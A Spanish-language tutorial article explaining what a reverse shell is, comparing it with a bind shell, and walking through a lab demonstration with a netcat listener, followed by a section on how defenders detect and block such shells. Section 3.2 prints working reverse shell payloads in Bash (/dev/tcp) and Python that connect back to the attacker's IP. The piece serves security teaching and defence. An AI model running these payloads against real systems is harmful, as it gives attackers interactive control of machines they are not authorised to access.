Qué es una shell reversa (reverse shell) y cómo funciona

Una shell reversa (reverse shell) es una técnica de post-explotación en la que la máquina víctima establece activamente la conexión de red hacia el equipo del atacante, entregándole un intérprete de comandos interactivo. A diferencia de la shell directa (bind shell), es la víctima quien «llama a casa», y eso le permite esquivar cortafuegos y NAT que bloquean conexiones entrantes pero dejan pasar las salientes.

1. Qué es una reverse shell y por qué se usa en pentesting

Cuando un pentester consigue ejecutar código arbitrario en un sistema remoto (RCE), el siguiente objetivo es conseguir un canal de comunicación persistente e interactivo: una shell. El problema clásico es que los cortafuegos y el NAT de la red víctima bloquean las conexiones entrantes desde internet, así que abrir un puerto en la máquina comprometida (bind shell) suele fallar.

La reverse shell invierte la lógica: es el sistema víctima quien sale a conectarse al servidor del atacante, usando que el tráfico de salida (egress) raramente está filtrado con rigor. Basta con que el atacante tenga un puerto accesible en su máquina (o en un VPS) para recibir la conexión.

En un test de intrusión autorizado, este mecanismo es importante para demostrar el impacto real de una vulnerabilidad: obtener acceso interactivo al sistema y pivoting posterior hacia la red interna.

2. Reverse shell vs bind shell: en qué se diferencian

Aunque ambas técnicas dan acceso remoto por consola, su dirección de conexión y sus casos de uso difieren bastante.

3. Cómo funciona una reverse shell: ejemplo práctico en laboratorio

Aquí describo el flujo completo usando dos máquinas virtuales propias en la misma red local: Kali Linux como atacante (IP 192.168.1.10) y una Ubuntu Server vulnerable como víctima (IP 192.168.1.20). Ambas son máquinas de laboratorio controladas. Si buscas un entorno ya preparado, consulta nuestra guía de las mejores plataformas para practicar hacking ético.

3.1 Paso 1 – El atacante levanta el listener (escucha)

En la máquina Kali se abre un puerto de escucha con Netcat. Este socket esperará la conexión entrante de la víctima:

# Máquina ATACANTE (Kali Linux — 192.168.1.10)
# -l  escucha conexiones entrantes
# -v  modo verbose (muestra la conexión)
# -n  no resolver DNS
# -p  puerto a escuchar
nc -lvnp 4444

3.2 Paso 2 – La víctima ejecuta el payload

Una vez que el atacante tiene el RCE (por ejemplo, a través de una vulnerabilidad en una aplicación web, un campo de subida de archivos o un CVE explotado en laboratorio), se ejecuta el siguiente payload en la máquina Ubuntu. Este one-liner de Bash redirige stdin, stdout y stderr al socket TCP hacia el atacante:

# Máquina VÍCTIMA (Ubuntu Server — 192.168.1.20)
# Payload: bash reverse shell clásico
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1

# Alternativa con Python 3 (útil cuando bash tiene restricciones):
python3 -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.1.10",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/bash","-i"])'

En el momento en que este código se ejecuta, Netcat en la máquina atacante muestra connect to [192.168.1.10] from (UNKNOWN) [192.168.1.20] y aparece un prompt de shell interactivo de la víctima.

«A reverse shell is a type of shell in which the target machine communicates back to the attacking machine. The attacking machine has a listener port on which it receives the connection, and by using this connection it will be able to issue commands to the target machine.»

4. Estabilización de la shell: obtener una TTY completa

La shell obtenida con Netcat es una dumb shell: no tiene TTY real, no guarda historial, no admite autocompletado con Tab, y Ctrl+C mata la conexión en lugar de interrumpir el proceso. El primer paso tras conseguir la reverse shell es siempre estabilizarla.

Método Python (más universal)

# 1. Generar pseudo-TTY con Python:
python3 -c 'import pty; pty.spawn("/bin/bash")'

# 2. Enviar la conexión al fondo (Ctrl+Z en el atacante)
# 3. Ajustar el terminal del atacante:
stty raw -echo; fg

# 4. Dentro de la shell, exportar variables de entorno:
export TERM=xterm-256color
export SHELL=/bin/bash
stty rows 40 columns 180

Otras alternativas populares son rlwrap nc (añade historial y flechas sin TTY completa) o usar un listener de Metasploit (multi/handler) que ya gestiona la TTY de forma automática. Para profundizar en estas técnicas, te recomendamos nuestro curso completo de hacking web.

Aprende más: vídeo explicativo

El siguiente vídeo de El Pingüino de Mario explica paso a paso qué es una reverse shell y cómo ganar acceso remoto con Netcat, con demostración práctica:

5. Cómo detectan y previenen las reverse shells los defensores

Entender la perspectiva defensiva importa tanto como la ofensiva. Un equipo Blue Team cuenta con varias capas de detección para identificar y bloquear reverse shells.

5.1 Filtrado de tráfico saliente (egress filtering)

La medida más efectiva es implementar listas blancas de destinos y puertos permitidos en el tráfico saliente. Si un servidor web solo debería hacer peticiones HTTPS hacia APIs conocidas, cualquier conexión TCP saliente hacia una IP externa en el puerto 4444 (o cualquier otro no estándar) debería bloquearse y generar alerta. Muchas organizaciones no filtran el egress, y eso convierte las reverse shells en algo trivial.

5.2 Detección por EDR y SIEM

Los Endpoint Detection and Response (EDR) modernos (CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint) vigilan la cadena de procesos. Una señal típica de reverse shell es: apache2 o php-fpm spawneando un proceso bash que a su vez abre un socket de red. Esa anomalía en el árbol de procesos dispara alertas de alta severidad.

En el SIEM, las reglas de correlación buscan eventos como:

• Proceso no esperado estableciendo conexión TCP saliente.
• Shell interactiva (/bin/bash -i) lanzada desde un proceso de servicio web.
• Redirección de file descriptors (stdin/stdout/stderr) a sockets de red.
• Uso de /dev/tcp en scripts Bash.

5.3 Segmentación de red y proxies de salida

La microsegmentación limita qué hosts pueden comunicarse con qué. Un servidor de aplicaciones en la DMZ no debería poder conectar directamente a internet; todo el tráfico saliente debería pasar por un proxy HTTP/HTTPS o un firewall next-generation (NGFW) con inspección profunda de paquetes (DPI) y TLS inspection.

5.4 Detección de conexiones salientes anómalas

Herramientas como Zeek (Bro), Suricata o Snort detectan patrones de tráfico asociados a shells reversas:

• Conexiones de larga duración con poco tráfico (keep-alive de C2).
• Tráfico en puertos no estándar desde servidores internos.
• Beaconing regular a una IP externa.
• Shell encriptada sobre HTTPS (C2 sobre 443) detectada por análisis de JA3/JA4 fingerprints TLS.

5.5 Hardening del sistema

A nivel de sistema operativo, medidas como AppArmor, SELinux o seccomp pueden restringir qué syscalls y accesos de red puede hacer un proceso concreto, e impiden que un servicio web abra sockets TCP arbitrarios aunque el atacante tenga RCE.

Para más técnicas de hacking web y su detección, consulta nuestra guía completa de hacking web.

6. Errores comunes al usar reverse shells en pentesting

• IP o puerto equivocados en el payload. Revisa siempre que la IP en el payload corresponde a la interfaz correcta del atacante (no la loopback). En entornos con VPN (como HTB), la IP suele ser la de tun0, no la de eth0.
• No tener el listener levantado antes de ejecutar el payload. El payload intenta conectar en el momento de ejecutarse; si el listener no está activo, la conexión falla y hay que volver a ejecutarlo.
• Puerto bloqueado por el firewall del propio atacante. En Windows, el firewall de Windows Defender puede bloquear la conexión entrante al listener de Netcat, así que toca añadir una regla de entrada para el puerto.
• Shell no estabilizada. Usar Ctrl+C para interrumpir un proceso mata la conexión entera; conviene estabilizar siempre la TTY antes de operar.
• Usar el payload equivocado para el entorno. /dev/tcp de Bash no existe en todas las distribuciones y no funciona en shells sh, dash o ash, así que conviene tener alternativas en Python, Perl, PHP o Netcat.
• Olvidar limpiar el listener. En un pentest real, el listener debe cerrarse tras el ejercicio para no dejar puertos abiertos sin necesidad en la máquina del auditor.

Si estás empezando con estas técnicas, nuestra guía de qué es Kali Linux y cómo usarlo te da la base necesaria para montar tu laboratorio correctamente.

Preguntas frecuentes sobre reverse shells

¿Es lo mismo una reverse shell que un backdoor?

No exactamente. Una reverse shell es el canal de comunicación que se abre tras explotar una vulnerabilidad; un backdoor es un mecanismo persistente instalado en el sistema (un servicio, una tarea programada, un binario modificado) que permite volver al sistema más adelante sin explotar de nuevo la vulnerabilidad. Una reverse shell puede ser el payload inicial que luego instala un backdoor.

¿Por qué se usa el puerto 4444? ¿Puedo usar cualquier otro?

El puerto 4444 es solo una convención popular en laboratorios y CTFs porque no suele estar ocupado. En pentests reales se prefieren puertos como el 443 (HTTPS) o 80 (HTTP) porque el tráfico saliente hacia esos puertos raramente está bloqueado y se confunde mejor con tráfico legítimo. Puedes usar cualquier puerto disponible en el que el listener esté escuchando.

¿Funcionan las reverse shells contra Windows?

Sí. En sistemas Windows se usan payloads específicos: PowerShell reverse shells, reverse shells con Netcat para Windows, o frameworks como Metasploit que generan ejecutables (.exe) o shellcode inyectable. El mecanismo es idéntico: la víctima conecta al listener del atacante y entrega una cmd.exe o PowerShell interactiva.

¿Qué es el «listener» y dónde hay que abrirlo?

El listener (o «escucha») es el proceso en la máquina del atacante que espera la conexión entrante de la víctima. Debe ser accesible desde la red de la víctima: si el laboratorio es local, la IP privada basta; si la víctima está en internet, el listener debe estar en una IP pública (o VPS) con el puerto abierto en el firewall. Herramientas como Netcat, Ncat, rlwrap+nc o Metasploit multi/handler funcionan como listener.

¿Qué diferencia hay entre una reverse shell y Meterpreter?

Una reverse shell básica entrega un intérprete de comandos nativo del sistema (/bin/bash, cmd.exe). Meterpreter (de Metasploit) es un payload avanzado que también funciona como reverse shell, pero añade capacidades extra en memoria: migración de procesos, captura de pantalla, keylogger, pivoting, carga de módulos en tiempo real, y comunicación cifrada. Es mucho más potente, aunque también más detectable.

Recursos relacionados en cursosdeciberseguridad.com

• Curso de Hacking Web — aprende a explotar vulnerabilidades web desde cero hasta nivel avanzado.
• Guía completa de Hacking Web — XSS, SQLi, SSRF, RCE y más técnicas explicadas paso a paso.
• Qué es Kali Linux: guía completa — monta tu laboratorio y conoce las herramientas necesarias.
• Mejores plataformas para practicar hacking ético — HTB, TryHackMe, PicoCTF y más, con comparativa.